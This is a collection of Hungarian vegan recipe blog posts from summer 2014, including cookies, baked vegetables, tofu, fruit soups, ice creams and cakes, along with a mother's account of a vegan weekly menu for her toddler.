Elkészítés: - A száraz összetevőket kellőképpen elvegyítjük, majd hozzáadjuk a puha vajat. - Annyi tejet adunk hozzá, hogy kellően összeálljon, - Pihentessük a tésztát addig, míg a sütőt előmelegítjük úgy 170 fokra. - Nyújtsuk ki minél vékonyabbra a tésztát (egy picit pereg a mogyoró és zabpehely darabok miatt), majd szaggassuk ki. - Süssük ki 170 fokon kb. 15-20 percig. - Hagyjuk teljesen kihűlni, ezalatt szépen megkeményedik a keksz.
Cukkíni szuflé
Ez a szuflé természetesen nyers, a nevét mindig a kinézetéről kapja ;) Csináltam kókusztejszínt, abból mindig marad némi reszelék, most azt hasznosítottam ;) Ennél jobb nem is történhetett volna vele ;) Brutál finom lett! Hozzávalók: 1/2 cukkíni 1 ek kesudió 2 ek áztatott dió 2 ek kókuszreszelék 1 dl kókusztej 1 csipet vanília 2 ek […]
Vegán cukormentes tripla szezámos keksz
2014. augusztus 23. Zizi kalandjai
Ez a keksz igazából baba keksznek indult, vagyis Ádinak akartam végre kekszet sütni, mert még sohasem evett. Tudtam, hogy vegán és cukormentes lesz és valószínűleg kerül majd bele banán, de a többi hozzávalót még nem sejtettem mi lesz. Néhány hete belefutottam a szezámlisztbe és kitaláltam, hogy ezzel fogom gazdagítani a kekszet. Isteni magának a lisztnek az illata, de amikor összekevertem a többi hozzávalóval, majd a kekszek a sütőbe kerültek, mennyei illatok járták be a lakást.
A szezámlisztnek magas a fehérjetartalma, így kiváló vegetáriánusok és vegánok számára. Ezenkívül magas a vas, a magnézium, a kálcium és a cink tartalma is. Kiváló sűrítésre is, én azonban sokkal inkább tudom elképzelni sütikben, mint, amilyen ez a keksz is.
A szezámliszten kívül került a kekszbe tahini (ha nem kaptok, saját magatok is készíthettek tahinit), valamint a tetejére szórtam szezámmagot, szóval ez egy fullos szezámos keksz lett. Ha nem juttok szezámliszthez, helyettesíthetitek zab- vagy hajdinaliszttel. A kókuszolaj és a tahini miatt ez egy puha keksz, de úgy gondolom, hogy babának a legmegfelelőbb az állaga és nem baj, hogy nem ropogós. Igazából három banánt tettem volna bele, hogy még egy kicsit édesebb legyen – így a felnőtt ízérzékhez jobban alkalmazkodott volna -, de csak kettő volt itthon. Aki édesebben szeretné fogyasztani, az mindenképpen három banánt tegyen bele!
Vegán cukormentes tripla szezámos keksz
Hozzávalók kb. 18-20 db-hoz:
- 2 db érett banán, meghámozva, villával pépesre törve
- 60 g kókuszolaj
- 50 g szezámliszt
- 50 g tönköly fehérliszt
- 5 evőkanál rizstej
- 1 evőkanál tahini
- 2 teáskanál szódabikarbóna
- 1 vaníliarúd kikapart magjai
- pici csipet só
- szezámmag
Egy tálban keverjük össze a száraz hozzávalókat: szezámliszt, fehérliszt, szódabikarbóna, só. Egy másik tálban keverjük össze a pépesre tört banánokat a kókuszolajjal, a rizstejjel, tahinivel és vaníliával. Jól keverjük el, majd öntsük a száraz hozzávalókhoz. Puha, enyhén ragacsos tésztát kell kapnunk.
Melegítsük elő a sütőt 180C fokra és béleljünk ki egy nagy tepsit sütőpapírral.
Fagyis- vagy evőkanállal adagoljunk gombócokat a sütőpapírra és szórjuk meg a tetejüket szezámmaggal. 15-20 percig süssük, amíg aranybarnák lesznek.
Ádi is jóváhagyja a kekszet
Fűszeres, növényi sajtos, paprikás sült padlizsán
2014. augusztus 19. Mindennapi ételeink
Igazi gyors nyári eledel a padlizsánrajongóknak. Hozzávalók: 4 közepes padlizsán 1 piros kápia paprika 1 sárga kápia paprika 1 fej fokhagyma himalaya só - ízlés szerint kakukkfű, borsikafű, lestyán, rozmaring - ízlés szerint pár csepp citromlé 4 ek. kókuszzsír 30 dkg natúr Sojade szójajoghurt 15 dkg Violife natúr növényi sajt Elkészítés: A padlizsánokat megmossuk, hosszában félbevágjuk. Mindkét felüket bevagdossuk. Megszórjuk sóval és kókuszolajjal kikent tepsibe téve megkenjük fokhagymával, majd olvasztott kókuszzsírral és kevés citromlével meglocsoljuk. Félkészre sütjük (180 fokon, kb. 15 perc alatt). Eközben lereszeljük a sajtot, megfőzzük a köretet (most bulgur), és a felkockázott paprikákat kókuszzsírral kikent tepsibe tesszük. A padlizsánt kivesszük, paprikákat betesszük, 10 perc alatt összepirítjuk, majd a padlizsánokra halmozzuk a paprikákat, megszórjuk a fűszerekkel és a reszelt sajttal. Még 10 perc alatt összesütjük. Fokhagymás-sós joghurttal és bulgurral tálaljuk.
Grillezett Tofu szelet – Dubarry módra
2014. augusztus 14. Fittanyuka
A legenda szerint Du Barry grófnő, aki a már idősecske XV. Lajos szeretője volt - vele vigasztalódott madame Pompadour halála után - nagyon szerette a karfiolt, és ezért az ő kedvére találta ki az udvari szakács ezt az ételt. Az ilyen egymondatos történetek kevéssé hitelesek, bár miért is ne hihetnénk el, hogy a hölgy kedvelte a karfiolt, de ha nem szerette, és az egész csak mese, a dubarry módra készült étel értékeiből ez semmit nem vesz el. Habár ezt eredetileg hússal készítik, én viszont vegánosítottam, így is finom főétel feltét. A tofu mellé társíthatunk kölest, salátát, barnarizst, jázminrizst, vagy akár krumplit is köretnek.
Én szeretem a tofut, mert semleges ízű és bármilyen fűszert “befogad”. Tulajdonképpen a szója és a szójatej legtermészetesebb felhasználási módja. Korábbi bejegyzésem a tofu élettani hatásairól.
Hozzávalók: 4 fő részére
1 doboz natúr tofu: 300 g
őrölt fekete bors
himalaya só
kókusz olaj
1/2 kisebb fej karfiol
néhány szelet növényi sajt
Besamel:
6 evőkanál rizsliszt ( így gluténmentes) vagy világos tönköly liszt
125 g bio margarin
500 ml növényi tej
1 kk himalaya só
1/2 kk őrölt szerecsendió
késhegynyi őrölt kardamon
1-2 cikk fokhagyma
felaprított zeller vagy petrezselyem zöldje
Karfiolt rózsáira szedjük és lobogó vízbe dobjuk kettő percig, majd hideg vízfürdőbe tesszük, majd leszűrjük.
A tofut nagyobb szeletekre vágjuk és mindkét oldalukat sózzuk, borsózzuk. Felhevítjük a kókusz olajat és mindkét oldalukat aranybarnára pirítjuk. Elkészítjük a besamel mártást: a margarint megolvasztjuk és állandó keverés mellett hozzáadjuk a lisztet, majd hozzáadjuk a hideg, növényi tejet. A titka, hogy kézi habverővel csomómentesen elkeverjük, folyamatosan. Miután besűrűsödik sózzuk, fűszerezzük, hozzáadjuk a felaprított zöldet.
Egy tepsibe helyezzük a tofuszeleteket, rákanalazzuk egyenként a besamelt, mindegyik szeletre egy-két karfiol rózsát teszünk. Én a karfiol tetejére is tettem kevés besamelt és növényi sajt szeletettel fejezzük be. Előmelegített sütőben 180 C fokon addig sütjük amíg a sajt ráolvad és kissé megpirul.
Mi vegyes, kerti salátával és jázminrizzsel tálaltuk!
Kókusztejes nektarinleves
2014. augusztus 13. Mindennapi ételeink
Extra finom leves a nagy melegben. Hozzávalók: 4 szem nektarin 800 ml kókusztej 10 dkg juharszirup / méz 1 ek. kókuszolaj -- puffasztott barnarizs Elkészítés: A nektarinokat meghámozzuk, felkockázzuk, majd hozzáöntjük a kókusztejet (forró víz + kókusztejpor, majd ezt lehűtjük), a juharszirupot, a felolvasztott kókuszzsírt. Összeturmixoljuk és már fogyaszthatjuk is. Mi puffasztott barnarizzsel ettük, de finom bele a mandula is, vagy önmagában is nagyon finom. TIPP: rizstejjel készítve és juharszirup nélkül remek reggeli vagy esti étel lehet hozzátáplált csecsemőknek is :-)
Töltött aszalt meggy
2014. augusztus 5. Éltető ételek
Rengeteg meggyünk lett, így jócskán aszaltam is. Egy kicsit időigényes az elkészítése, de nagyon dekoratív és finom csemege kerekedik belőle. Csak egy baj van vele, hamar elfogy. Hozzávalók: - 2 marék aszalt meggy - 1 marék áztatott, szárított mandula - 1 evőkanál méz - kakaópor, kókusz, szezámmag Elkészítés: - Az aszalt meggynek a mag helyére tegyünk egy mandula darabot. - Langyosítsunk meg egy kevés mézet, majd öntsük a meggyre. Forgassuk jól össze, hogy a méz jól bevonja mindenütt a meggyet. - Ezután forgassuk kedvünk szerint kakaóporba, kókuszba vagy szezámmagba. Nekünk a kakaós ízlett a legjobban.Jó étvágyat!
Táplálj helyesen édesanyám! (5. rész)
2014. augusztus 5. Zizi kalandjai
Előtte / Utána
Az a bizonyos csokipuding, aminek az utolsó falatjáért harcolt anya és fia, és ami az első szülinapi torta krémje is volt
A legutolsó bejegyzés óta elég sok idő eltelt… fejemben a sok-sok információ, igyekszem részletesen leírni nektek. Többen jeleztétek, hogy egy heti menüre is kíváncsiak lennétek, hát, akkor egy ilyet is leírok nektek. Még jó, hogy születése óta (!!!) írom, hogy mikor mit evett Ádi, szóval dokumentálva van az étkezés, így a heti menü megosztása sem akadály!
Májusban végre megújult a természet, ami a piacok kínálatán is látszódott, így egyre több újdonságot tudott kipróbálni Ádi. Nagy sikert aratott minden gyümölcs, amit evett: eper, málna, ribizli, szeder, cseresznye, meggy, szilva, őszibarack, sárgabarack, sárgadinnye. Talán a görögdinnyéért nem rajong annyira, de azt is megeszi. A legnagyobb kedvenc egyértelműen a meggy és az áfonya. Nem tud belőlük eleget enni… Áfonyából képes akár 200 grammot is benyomni egyszerre. Képzelhetitek, hogy 200 gramm áfonya után milyen színű lesz a végtermék… hát, lila!
A zöldség választékból szinte mindent kipróbáltunk, ami szóba jöhetett: spárga, zöldborsó, zöldbab, tök, cukkini, padlizsán, paradicsom (ez gyümölcs!), paprika, kukorica, káposzta, uborka, olívabogyó, zeller, karalábé, karfiol, brokkoli, avokádó (ez gyümölcs!). A spenót, mángold, petrezselyem, sárgarépa továbbra is szerepel az étlapon és alkalmanként most már burgonya is kerül a tányérra. Az egyedüli, ami nem nagyon nyerte el a tetszését, az a sóska volt, de hát ez egy eléggé megosztó zöldség.
Kipróbáltuk a zöld turmixot is. I. csinált egy fantasztikusat: mángold, banán, alma, kevés citromlé, víz, rizstej összekeverve… az arányokat ne kérdezzétek, de tényleg nagyon finom volt, ezért is aratott sikert Ádinál. Második alkalommal én csináltam, ha jól emlékszem, nem volt itthon alma, így az nem került bele és nem is lett olyan ízletes, Ádinak sem ízlett annyira, de nem adjuk fel! Kineveztük apát zöld turmix specialistának, így ezért az italért és más smoothie-ért ő a felelős. Készített már málna rizstej smoothie-t (turmixolás, majd magok leszűrése), Ádi ezt is itta nagyon!
Gyümölcsökön és zöldségeken kívül Ádi eszik tésztát (többnyire durum- vagy tönkölylisztből készültet), kölest, barnarizst, jázminrizst, kukoricadarát, rozs-vagy teljeskiörlésű tönkölylisztből készült kenyeret (lehetőleg élesztőmenteset), zabpelyhet, rizspelyhet, tönkölydarát, lencsét, csicseriborsót, sörélesztő pelyhet (B12 vitamin pótlásra), vegán sajtot (nem szójaalapú, nagyon-nagyon finom, az egész család imádja!). Mandulatejet- és rizstejet (cukormentes) smoothie-k készítéséhez használok, valamint a reggeli kásához. Külön magukban nem szokta inni őket, de biztosan ki fogjuk próbálni, de most nyáron jobbnak látom frissítő gyümölcsleveket és vizet adni szomjoltásra. Rágcsált már diót és egy kis kesudiót.
Többen kérdeztétek, hogy mivel pótoljuk az állati fehérjét. Különösebben nem görcsölök rá erre a témára, de néhány dolgot érdemes szem előtt tartani vegán táplálkozás esetén. Már ebben a cikkben is leírtam, vagyis idéztem, hogy “Az ember az emésztés során a fehérjéket aminosavakra bontja le, ezekből építi fel a saját fehérjéit. Nem az elfogyasztott fehérjét építi be tehát, hanem az aminosavakat. Ezért minden alapot nélkülöz az a kijelentés, miszerint az állati fehérje azért jobb, mint a növényi, mert közelebb van szerkezetében az emberihez. A másik alaptalan tévhit, hogy a növények nem teljes értékű fehérjét tartalmaznak, ezért rosszabb minőségűek. Ez a mítosz az esszenciális aminosavakra vezethető vissza. Nyolc aminosavról van szó, amelyeket a szervezet nem tud előállítani, ezért mindenképpen kívülről kell őket a szervezetbe vinni. A természet bölcs, minden élőlény ugyanazokból az aminosavakból épül fel, így a növényekben és az állatokban egyaránt megtalálhatóak az ember számára esszenciális aminosavak. Igaz, az állati fehérjék mind a nyolc aminosavat tartalmazzák, a növények pedig általában egyszerre nem az összeset. Azt nevezi a természettudomány teljes értékű fehérjének, amely az összes, az adott élőlény számára esszenciális aminosavval rendelkezik. A növények közül ilyen a kelbimbó, a sárgarépa, a kukorica, a karfiol, az uborka, a tök, a burgonya, a zöldborsó, az összes dióféle, a szezám- és napraforgómag, valamint a paradicsom fehérjéi. Nem szükséges azonban minden étkezés alkalmával teljes értékű fehérjét fogyasztani, de még naponta sem. A szervezet ugyanis “képes bármilyen aminosavhoz hozzájutni a saját tartalékából, ha az egy adott étkezésből hiányzik is.” – Dr. E. S. Nasset” (Forrás: Napfényes Étterem)
Tehát a fent nevezett 8-10 növényből szezon alapján igyekszem minél többet adni Ádinak. Ezenkívül fontos az ételek párosítása (ez a komplettálás) is. Például a gabonafélék és hüvelyesek együttes fogyasztásával teljesértékű fehérjéhez jutunk (pl: bab-zab fasírt, zöldborsós rizottó). Még többet a komplettálásról és az ételek párosításáról itt olvashattok.
Nem csak bűvölte a spenótot, hanem meg is ette
Mindent mértékkel fogyasztunk és a hangsúly a harmónián van. Ádi nagyon jó étvágyú kisfiú, öröm nézni, ahogyan eszik. Egyenesen megkívánja az ember az ételt, olyan jóízűen falatozik, nyugodtan, kényelmesen. Jól fejlődik, egészséges, zsurmó, mozgékony, igazán jól táplált baba. Továbbra is igyekszem tartani a vegán étrendet számára, azonban tudom, hogy bizonyos szituációkban nehéz kivitelezni, hogy teljesen kizárjuk a tojást vagy tejtermékeket. Ha így lesz, nem fogok belőle problémát csinálni, ha alkalmanként eszik egy-két olyan dolgot, amelyekben ezek megtalálhatók. A nagy kérdés, amit mindig megkapok, hogy ha Ádi kér húst, akkor adok-e majd neki. A válaszom természetesen igen, hagyni fogom, hogy kipróbálja, de valószínűleg a nagyi fogja elkészíteni neki az ételt.
Tökfőzelék készítésekor egyszer csak elcsent egy darab meghámozott tököt az asztalról és nekiesett… a tapasztalás a legfontosabb!
Amit még szintén nem evett és érdemes megemlíteni, az a cukor. Ezt még semmilyen formában nem evett, de még mézet, juhar- vagy agavé- vagy rizsszirupot sem adtam neki és ahogy ezt a környezetemben tapasztalom, igen jó döntésnek bizonyult. A cukor teljesen megváltoztatja az ember ízérzékelését és egy alma már nem fog olyan édesnek tűnni, ha rendszeres “cukorfogyasztókká” váltunk. Ezt is igyekszem elhúzni, ameddig lehet, aztán majd mértékkel adni neki kókuszvirág cukrot, nádcukrot, juharszirupot, természetesen többnyire sütikbe belesütve.
És akkor lássunk egy heti menüt (követem a szezonalitást, de ez most több hét menüjéből lett összemixelve, ezért fordul elő benne az eper és az őszibarack is egyszerre)…
A reggeli kásák rizs- vagy mandulatejjel készülnek, adok hozzá csipet fahéjat, egy teáskanál mandulavajat és gyümölccsel tálalom. Tízóraira többnyire egyféle gyümölcsöt eszik, de előfordul, hogy főzés közben adok neki egy darab répát is, hogy elrágcsálja. Az ebéd szinte mindig főtt étel és az egyszerűségre törekszem, hogy minél gyorsabban legyen kész. Uzsonnára többféle gyümölcsöt eszik, persze nem egyszerre, hanem az ebéd és a vacsora között akár kétféle gyümölcsöt is eszik, meg lehet, hogy még kölesgolyót is rágcsál. A vacsora az esetek többségében hideg, kenyér valamivel megkenve, zöldségekkel tálalva.
1. nap
Reggeli: banános palacsinta
Tízórai: áfonya
Ebéd: tökfőzelék vegán sajttal
Uzsonna: alma, málna, kölesgolyó
Vacsora: vegazsíros kenyér, paradicsom, avokádó
2. nap
Reggeli: tönkölykása almával
Tízórai: eper
Ebéd: cukkinis lecsó barnarizzsel
Uzsonna: cukor- és élesztőmentes szilvás rétes (biopiacról)
Vacsora: vegazsíros kenyér, paradicsom, paprika, avokádó, vegán sajt
3. nap
Reggeli: zabpehely kása banánnal
Tízórai: nektarin
Ebéd: brokkoli pestós tészta (sörélesztő pehely a tetejére szórva)
Uzsonna: áfonya, kölesgolyó
Vacsora: humuszos kenyér, paradicsom, olívabogyó, avokádó, vegán sajt
4. nap
Reggeli: rizspehely kása őszibarackkal
Tízórai: áfonya
Ebéd: zöldségleves teljeskiörlésű vegán betűtésztával
Uzsonna: sárgabarack, málna
Vacsora: vegazsíros kenyér, paradicsom, brokkoli csíra, avokádó, vegán sajt
5. nap
Reggeli: tönkölykása banánnal
Tízórai: őszibarack
Ebéd: tökfőzelék bab-zab fasírttal
Uzsonna: sárgabarack, áfonya, kölesgolyó
Vacsora: lencsepástétomos kenyér, paradicsom, avokádó, vegán sajt
6. nap
Reggeli: tönkölykása őszibarackkal
Tízórai: vegán cukormentes szilvalekváros palacsinta (biopiacon)
Ebéd: lecsó polentával
Uzsonna: őszibarack, kölesgolyó
Vacsora: szezámmagpástétomos kenyér, paradicsom, paprika, avokádó
7. nap
Reggeli: rizspehely kása banánnal
Tízórai: málnás rizstejes smoothie
Ebéd: borsófőzelék karfiol-quinoa fasírttal
Uzsonna: őszibarack, kölesgolyó
Vacsora: vegazsíros kenyér, olívabogyó, paradicsom, avokádó
*****
Ha kérdésetek van, tippetek, ötletetek, esetleg egy tuti baba receptetek, írjátok meg kommentben! A leírtak a saját tapasztalataim (és tájékoztató jellegűek!) és a mások által leírt, általam elfogadott nézeteket tükrözik. Kérjünk tanácsot, segítséget másoktól, szakemberektől, olvassunk utána a hozzátáplálás/baba étkeztetés témájának, aztán hallgassunk az anyai megérzésünkre is, figyeljük meg, hogy mi ízlik a babának, vállaljuk fel a döntésünk felelősségét és cselekedjünk saját belátásunk szerint.
Majmos előke, tálka, tányér és kanál: {Monkie}.
Táplálj helyesen édesanyám! (1. rész)
Táplálj helyesen édesanyám! (2. rész)
Táplálj helyesen édesanyám! (3. rész)
Táplálj helyesen édesanyám! (4. rész)
Mákos sárgadinnye torta
Nagyon kedves barátom szülinapjára készült az a tortácska, amibe a hozzávalókon kívül a szeretetemet és a nagyra becsülésemet is belegyúrtam ? ? ? Boldog szülinapot Ervin!!! Hozzávalók egy kb 20 cm-es alaphoz: 2 ek zabpehely 2 ek kókuszreszelék 2 ek darált mák 1 csipet tiszta só 2 tk vaníliás cukor 1/2 dl forrásvíz (kb) A […]
Feketeszeder fagyi kókusztejszínnel
Még mindig kallódott a fagyasztóban tél óta egy zacskó feketeszeder, de ma neki is eljött az ideje ;) Maradtam a jól bevált receptnél, fagyott állapotban botmixerrel beledolgoztam 2 kanál mézet, és egy csipet vaníliát, és készen is volt ;) Leöntöttem egy kis kókusztejszínnel, megszórtam étcsoki darabkákkal, és már kanalaztam is ;) Hozzávalók 4 tálkányi fagyihoz: […]
Fokhagymás sült patiszon quinoiával
Tavaly odáig voltam a fokhagymás cukkiniért. Kaptunk egy csomó csillagtököt, így most az következett kipróbálásra. A recept jóformán ebben az egy tételben változott, no meg barna rizs/tészta helyett quinoa került köretként a tányérra. Így végképp gluténmenetes lett. Maga a quinoa meglehetősen érdekes a számomra, ugyanis nem gabonaféle, mint a köles, hanem a céklafélék családjába tartozik. Szuperélelmiszer kategóriába tartozik. (Az ára is ennek megfelelően "super high" tud lenni.) Kimagasló fehérjetartalma van, kalóriaszegény, alacsony glikémiás indexe van és komplex szénhidrát. Ezek alapján nagyszerű fogyókúrás étel. Az inkáknál különben a magok anyjának, szent növénynek tekintették.
A recept:
Hozzávalók:
o 20 dkg quinoa
o víz
o 1 fej fokhagyma
o 2-3 csillagtök
o jénai tál
o kókuszzsír
o só
Elkészítés:
A quinoát alapos hideg vízben történő mosás után megfőzzük. (Ha nem alaposan mossuk meg, kesernyésebb íze lehet.) Közben a csillagtököket meghámozzuk és uborkareszelőn lereszeljük, megsózzuk, átforgatjuk. A fokhagymákat felaprítjuk, a jénai tálat kikenjük kókuszzsírral. A csillagtök rövid időn belül levet ereszt. Úgy tesszük a jénai tálba a tököt, hogy a leve már ne kerüljön bele (így is még kicsit engedhet). Megszórjuk a sok-sok fokhagymával. Átkeverjük. Lefedjük a jénai tál tetejével és sütőben 15-20 percig fedő alatt sütjük, majd fedő nélkül még úgy 5-10 percig.
Tálalásnál a quinoa tetejére halmozzuk a fokhagymás csillagtököt. A tetejét megszórhatjuk kaporral, de ez el is maradhat.
A kedvenc lecsóm
Munkaadómnál ebédeltem egyik nap egy másik munkatársammal együtt. Amikor megéreztem az illatát, viccesen mondtam a társaságnak, egy jó kis füstölt szalonnás lecsót fogunk enni. Persze nevettek, mivel mindannyian vegák vagyunk. Nos ízben mégsem sokat különbözött a viccem tárgyától. Ezt követően muszáj volt "copy"znom tőle e remekművet. Ettem már sokfélét, de annyira finom, hogy ez a "favorite" számomra. Azóta én is beépítettem a "kajatár"unkba. A héten is fogok készíteni.
A recept:
Hozzávalók:
o 1 adag barna rizs (pl. 2-3 marék vagy 1 nagyobb bögre)
o víz
o hagyma
o füstölt tofu
o paprika
o paradicsom
o kókuszzsír
o só
Elkészítés:
A rizst alapos mosás után megfőzzük. Közben a tofut apró kockákra vágjuk, a hagymákat felkarikázzuk, a paradicsomot felkarikázzuk és a paprikát hosszú szeletekre vágjuk.
Fogunk egy tepsit, kikenjük kókuszzsírral. A felkarikázott hagymát lefektetjük a tepsi aljára, majd a megfőtt rizst elegyengetjük rajta. Megszórjuk a tetejét sóval. Erre a paradicsomkarikákat helyezzük rá, amiket szintén megsózunk. Az apró tofukockákat rászórjuk a paradicsom tetejére és a legvégén a paprikaszeletekkel befedjük. Sütőben 20 perc alatt készre sütjük. Mielőtt a sütőbe tettem, a paprikák tetejét csilis olajjal megkentem. Nem csípett, inkább egyfajta fűszeres jelleget kölcsönzött az ízének.
Nem csak vegáknak ajánlom. Ja, és persze gluténmentes.
Heves jeges jégkrémek
2014. július 17. Zizi kalandjai
Igaz hűlt ma egy kicsit az idő, de reméljük lesznek még nagyon meleg napok, amikor jól jönnek a hűsítő jégkrémek. Összegyűjtöttem nektek a blogon szereplő jégkrémeket, amelyek mind vegánok, vannak köztük cukormentesek is. Igyekszem készíteni újakat is, már van a fejemben néhány recept ötlet!
A legkülönlegesebb a csokoládé jégkrém pirított mandulával. A cím alapján nem tűnik különlegesnek, viszont a hozzávalókat megnézve, egyből kiszúrjuk a kakukktojást: avokádó! Micsoda? Igen, az avokádó teszi krémessé ezt a finom csoki jégkrémet! Kihagyhatatlan! Recept itt!
A csodaszép rózsaszín jégkrém epres kókuszos belsőt takar. Igaz, friss eper már nem igazán van a piacokon, de málnával és szederrel is kiváló! Recept itt!
Banán földimogyoróval keverve? Igen! Ebben az esetben mindkettő krémessé varázsolja a jégkrémet, amelyet kakaóval fűszereztem. Recept itt!
Mandulavaj és apró kis piros ribizli golyócskák… kókusztejjel keverve. A ribizlik szétpattannak a szánkban és fanyarságukkal ellensúlyozzák a krémes, édes jégkrémet. Recept itt!
Egy nagyon egyszerű gyümölcsös jégkrém sárgabarackból citromfűvel fűszerezve… baba- és gyerekbarát! Recept itt!
A végére pedig egy igazi különlegesség: kávés-tonkababos jeges trüffel golyók. Na, nem is én voltam az elkövető, hanem Praliné Paradicsom Zsuzsi, aki tavaly szeptemberben vendégeskedett a blogomon ezzel a finomsággal. Recept itt!
Vegán datolyás-kesudiós kuglóf
2014. július 14. Mindennapi ételeink
Hozzávalók: 30 dkg finomliszt 20 dkg teljes őrlésű liszt 15 ek. aranybarna nádcukor 1 csipet só 3 dkg puha kókuszzsír 1 citrom héja - 1 tk. aranybarna nádcukor 1 csomag élesztő 3,5 dl növényi tej -- 10 dkg datolya 10 dkg kesudió Elkészítés: A lisztet tálba tesszük, rászórjuk s cukrot, sót. A kókuszzsírt hozzákeverjük. Negyed liter növényi tejet megmelegítünk, és feloldjuk benne az élesztőt. Ezt a liszthez adjuk. Dagasztóval alaposan összedagasztjuk, közben annyi tejet adunk hozzá, amennyit felvesz. Belereszeljük a citrom héját is. Meleg helyen hagyjuk állni 1 óra hosszat. A megkelt tésztába belekavarjuk az apróra vágott datolyát, és a szintén apróra tört kesudiót. Lisztezett deszkán átgyúrjuk, majd kuglófformába tesszük és még 30 percet pihentetjük. TIPP: ne vágjuk fel melegen, mert akkor nem lesz szép a fotó :-) Ill. pékárut, kenyeret ne együnk melegen, langyosan. :-)
Burgonyával és paradicsommal rakott cukkini
2014. július 10. Mindennapi ételeink
Igazi finom, nyári könnyű ebéd. Hozzávalók: 2 közepes cukkini 6 közepes burgonya 6-8 szem paradicsom 2 lilahagyma 4-5 gerezd fokhagyma 4 dl növényi főzőtejszín / szójadresszing 4 ek. Violife creamy paradicsom-bazsalikom 3-4 tk. levespor és ételízesítő himalaya só, - ízlés szerint 3 ek. kókuszzsír 1 csokor petrezselyem Elkészítés: A zöldségeket megmossuk, és felkarikázzuk - a burgonyát és a lilahagymát a legvékonyabban, majd a cukkinit és paradicsomot kicsit vastagabbra. Egy tepsit kiolajozunk, beletesszük a zöldségeket: egy krumplikarikát, majd paradicsomot, cukkinit, lilahagymát, és ezt addig ismételjük, amíg el nem fogynak a zöldségek. A szójadresszingbe belekeverjük a sajtkrémet (Violife Creamy) és ezzel meglocsoljuk az egészet. Megszórjuk petrezselyemzölddel és 200 fokon kb. 30-40 perc alatt összesütjük. A "sajtkrém" helyett használhatunk sörélesztőpelyhet is, de mindkettő kihagyható.
Sárgabarackos-szilvás lepény (vegán)
2014. július 8. Mindennapi ételeink
Zizivel nyereményjátékot hirdettünk, miután bemutatta a A főzés gyerekjáték c. könyvet. Ez a recept ebből a könyvből való, igaz, őszibarackkal szerepel benne. Hozzávalók: 1 bögre finomliszt 1/2 bögre aranybarna nádcukor 1/4 bögre kókuszzsír 1/2 bögre növényi tej 1 nagy alma meghámozva, kimagozva 1 zacskó foszfátmentes sütőpor 2 csipet himalaya só -- 7-8 db őszibarack vagy nektarin Elkészítés: A lisztet összekeverjük a sütőporral és a sóval. Az almát meghámozzuk, felvágjuk apró cikkekre és a lisztes keverékhez keverjük. Hozzáadjuk az olajat és a cukrot. Majd ehhez hozzákeverjük a növényi tejet. Kiolajozott, lisztezett pite-vagy tortaformába öntjük és félbevágott sárgabarack, szilvadarabokkal megszórjuk.170 fokon 30 perc alatt készre sütjük.
Kölesfasírt barna rizzsel és gombaszósszal
A múlt héten, mikor egyik nap a férj itthon volt, és még hajat is mostam... Igen, vannak csöppnyi örömök az életben. :) Nagyon hamar sikerült összedobnom számunkra egy finom ebédet, amit még Ábel is élvezettel tömött befelé nagy villával. Mert hogy odakészítettem a kis desszerteset, had gyakoroljon, de neki az enyém kellett. Így a végén én ettem a desszertessel, Ő meg hadakozott a naggyal. (Értsd, nem szurkálja magát, csak próbálkozik a tányéron.) Elég ügyes már, de olykor túl nagy erővel akarja felszúrni rá az ételt, majd a tányér törik ketté, az étel az tuti, így nincs a villán. Ellenben egy része a padlón. (Az az én részem.) Akkor aztán, ha megunja, és még éhes, kézzel benyom egy falatot, majd újra próbálkozik. Nagyon cuki tud lenni, és örömmel is tudom nézni addig, amíg bolondozásba nem fordul, és a végén hangyaetetéssé fajul. Olyankor jöhet a porszívó, és mire elhallgat, lecsendesednek mindkettőnkben az indulatok. Hozzávalók: A fasírthoz: (1 tepsinyi adag) 1/2 bögre köles 10-15 dkg olajos mag (nekem most tökmag és napraforgó keveréke) 1 pici lilahagyma 1 tk vegamix 1 kk só fűszerek (bazsalikom, borsikafű, petrezselyemzöld) tk zsemlemorzsa a forgatáshoz kókuszzsír a sütéshez A kölest 2 bögre vízzel, a vegamix-szel és a sóval megfőzzük 20 perc alatt. Az olajos magokat durvára daráljuk (nálam most a diódaráló volt az eszköz), a lila hagymát felaprítjuk, és a fűszerekkel együtt a kéz melegre hűlt köleshez keverjük. Alaposan átgyúrjuk. Vizes kézzel nagyobb diónyi gombócokat formázunk, amit aztán kisujjnnyi vastagra lapítunk, és zsemlemorzsába forgatunk. Kókuszzsírral kikent zsírpapírral kibélelt tepsibe igazgatjuk, és 25-30 perc alatt megsütjük őket. Félidőben megforgatjuk a fasírtokat. A gombaszószhoz: 1/2 kg gomba 1 kis doboz rizstejszín 1 kis fej vöröshagyma 1 csokor petrezselyemzöld 1 ek tk liszt 1 ek olivaolaj 1 tk vegamix 1 kk só A gombát megpucoljuk, felszeleteljük. A vöröshagymát felaprítjuk, kevés vízen megpároljuk, hozzáadjuk az olajat, a gombát, majd a felaprított petrezselyem zöldet, a vegamixet, és a sót. Megvárjuk, míg a gomba leve elfő, majd belekavarjuk a lisztet, azután pedig a rizstejszínt. Pár perc főzés után el is készül. Körethez: 1 bögre barnarizs 2,5 bögre víz 1 tk vegamix oliva olaj 1 kk só A rizst szárazon pirítjuk kicsit, majd hozzáadjuk a lista többi összetevőjét is, és 45-50 percig főzzük. Fotó: mutty.hu Friss vegyes salátával az igazi.
Vanília – Málna Pohárkrém
Nyár ízei számomra a málna, sárga és görögdinnye, áfonya… A legfinomabb finomságok is ezekkel a gyümölcsökkel készíthetőek. Itt leginkább a málnára, áfonyára és a többi pirosgyümölcsre gondolok. A málna – vaníliával való társítással egy korábbi olaszországi nyaralás alkalmával “találkoztam”. Igazi olasz vanília fagylalt volt, forró málna öntettel:)! Ezeket az ízeket próbáltam visszahozni ezzel a reformosabb és alakbarát: tej,-tojás,-cukor és gluténmentes finomsággal.
Nyár és meleg lévén, hidegen tálaljuk.
Hozzávalók: /4-5 fő részére /
1 l vaníliás vagy natúr rizstej,
200 ml kókusztejszín
100 g xilit vagy eritrit
1/3 kávéskanál őrölt bourbon vanília
1/2 citrom reszelt héja
4 evőkanál kukoricakeményítő
1 evőkanál bio margarin ( selymesebb lesz tőle a krém)
A hideg tejben csomómentesen elkeverjük a keményítőt, hozzáadjuk az édesítést, vaníliát és a reszelt citromhéjat, majd állandó keverés mellett felforraluk, amíg besűrűsödik. Majd hozzákeverjük a bio margarint és hagyjuk picit hűlni, amíg elkészül a málna öntet.
Málna Öntet:
200-300 g friss vagy fagyasztott málna
50 g xilit vagy eritrit
1/2 citrom leve
1-1,5 dl víz
1 evőkanál útifűmaghéj őrlemény
